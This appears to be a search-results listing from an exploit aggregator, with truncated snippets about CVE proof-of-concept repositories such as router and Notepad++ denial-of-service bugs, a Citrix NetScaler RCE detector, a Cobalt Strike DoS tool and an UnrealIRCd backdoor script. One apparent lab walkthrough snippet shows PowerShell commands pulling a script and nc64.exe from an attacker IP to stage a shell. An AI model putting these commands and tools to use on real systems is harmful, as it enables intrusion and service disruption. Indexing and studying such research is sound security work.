649114 matches found
CVE-2026-19745
简介 大家好，今年五月我在自己的路由器上发现了一些不错的漏洞，今天终于可以展示给大家了！ 本仓库中的两个漏洞都是经过身份验证的拒绝服务（Denial of Service）漏洞！ 我并不清楚这些漏洞具体是如何以及为何产生的技术细节，我们从未收到 Calix（此处的厂商）的回复，所以……耶！真有趣！ 这也是我人生中第一个和第二个 CVE，买一送一，不客气。 CVE-2026-19745 CVE-2026-19745 是一个影响我路由器的资源关闭或释放不当（Improper Resource Shutdown or Release）导致的拒绝服务漏洞 :...
-CVE-2021-41962
-CVE-2021-41962 Description Cross Site Scripting XSS vulnerability exists in Sourcecodester Vehicle Service Management System 1.0 via the Owner fullname parameter in a Send Service Request in vehicleservice. Additional Information NA Vulnerability Type Cross Site Scripting XSS Vendor of Product...
checkmk_cve-2024-0670
checkmkcve-2024-0670 ┌──root㉿kali-/HTB/NanoCorp └─ python3 -m http.server 80 PS C:\windows\temp iwr http://10.10.16.10/zh.ps1 -outfile "c:\windows\temp\zh.ps1" PS C:\windows\temp iwr http://10.10.16.10/nc64.exe -outfile "c:\windows\temp\nc64.exe" PS C:\windows\temp iwr...
watchTowr-vs-Citrix-Netscaler-PreAuth-RCE-CVE-2026-8452
watchTowr-vs-Citrix-Netscaler-PreAuth-RCE 用于 Citrix NetScaler CVE-2026-8452 的检测产物生成器 技术细节请参阅我们的博客文章。 检测演示 root@kitploit: python3 watchTowr-vs-Citrix-Netscaler-PreAuth-RCE.py --target https://172.16.5.12:9443/ / | | |\ \ \ / / \ \ / | | | | / \ / / \ \ \ / / | | \ | Y | | \ / | | / // ||...
CVE-2022-31901
CVE-2022-31901 Denial Of Services DOS in Notepad++x86 in 8.4.3 and before. Description Vulnerability triggering, via opening two specially crafted text files e.g. first.txt & second.txt as input to notepad++. As an illustrative example below, as of 11/07/2022, latest version of Notepad++x86 is...
CVE-2024-13800
CVE-2024-13800 Popup Plugin For WordPress - ConvertPlus = 3.5.30 - Missing Authorization to Authenticated Subscriber+ Limited Options Update Description The ConvertPlus plugin for WordPress is vulnerable to unauthorized modification of data that can lead to a denial of service due to a missing...
CobaltStrikeDos
A denial of service DoS vulnerability CVE-2021-36798 was found in Cobalt Strike. The vulnerability was fixed in the scope of the 4.4 release. More information can be found here Usage root@kitploit: python3 CobaltStrikeDos.py https://1.1.1.1 root@kitploit: $ python3 CobaltStrikeDos.py...
CVE-2024-22526
CVE-2024-22526 Vulnerability Overview CVE-2024-22526 Apr 12, 2024 BandiView Image Viewer Vulnerability Vulnerability Description advisories Buffer Overflow vulnerability in bandisoft bandiview v7.0, allows local attackers to cause a denial of service DoS via exr image file. credit v7.0 update not...
CVE-2022-24713-POC
POC of CVE-2022-24713 on Ubuntu Install the current rust-regex package on Ubuntu. Then, clone this repo. Then, run cargo build. The regex dependency is set to the /usr/share/cargo/registry folder, so there will be no dependency issues. If the compilation takes an absurdly ridiculous long amount o...
gerhart01
gerhart01 CVE-2020-0890 | Windows Hyper-V 拒绝服务漏洞的概念验证代码...
UnrealIRCd-3.2.8.1-Backdoor-Command-Execution
UnrealIRCd-3.2.8.1-后门命令执行 用于利用 CVE-2010-2075 漏洞在 UnrealIRCd 服务中建立后门的脚本 用法 用法：IRCBackDoorCommandExecution.py -h targethost targetport attackerhost attackerport...
CVE-2023-23752
Joomla! options Arguments...
jetty_9.4.31_CVE-2021-34428
Eclipse Jetty 官方仓库 这是 Jetty 项目的官方仓库，欢迎 fork 并贡献！ 提交补丁或拉取请求？ 请确保您有一份有效的 Eclipse 贡献者协议 ECA。 eclipse.org/legal/ecafaq 项目描述 Jetty 是一个轻量级、高可扩展性的基于 Java 的 Web 服务器和 Servlet 引擎。 我们的目标是以高吞吐量、低延迟的方式支持 HTTP、HTTP/2 和 WebSocket 等 Web 协议，在保持易用性和与多年 Servlet 开发兼容性的同时，提供最佳性能。 Jetty 是一个现代的全异步 Web...
CVE-2024-11467
CVE-2024-11467 The macOS operating system uses XPC services for basic inter-process communication between various processes, such as between the XPC Service daemon and third-party application privileged helper tools. The VMware Horizon Client, upon installation, registers the...
CVE-2019-11287
CVE-2019-11287: DoS via Heap Overflow in RabbitMQ Web Management Plugin Pivotal RabbitMQ, versions 3.7.x prior to 3.7.21 and 3.8.x prior to 3.8.1, and RabbitMQ for Pivotal Platform, 1.16.x versions prior to 1.16.7 and 1.17.x versions prior to 1.17.4, contain a web management plugin that is...
CVE-2025-29448
CVE-2025-29448 Description booking logic flaw in Easy!Appointments v1.5.1 allows unauthenticated attackers to create appointments with excessively long durations, causing a denial of service by blocking all future booking availability. Steps to Reproduce 1. Intercept an appointment booking reques...
CVE-2022-21894-Payload-New
This is a simple example payload for CVE-2022-21894 that demonstrates how an attacker could map a second stage payload in order to be able to call EFI services. A writeup of this vulnerability can be viewed here: https://github.com/Wack0/CVE-2022-21894. The code in this repository extends the PoC...
astDoS
astDoS CVE-2018-7284 および CVE-2018-19278 を悪用するツール 使用方法 このツールはコマンドとして使用します。 root@kitploit: astDoS.py -h -a 1,2 -sA SERVERIP -sP SERVERPORT -u USER -p PASSWD -sub SUBUSER -dA DNSIP -dP DNSPORT -v VERSION DoS attack against Astersisk, CVE-2018-7284 and CVE-2018-19278 optional arguments: -h, --help sh...
mailorder
Mail Order The Nalpeiron Licensing Service NLSSRV32.exe is installed as part of certain software installations to handle privileged software licensing operations. It is paired with a client component filechck.dll which communicates with the service via mailslots hence the name. Calls are performe...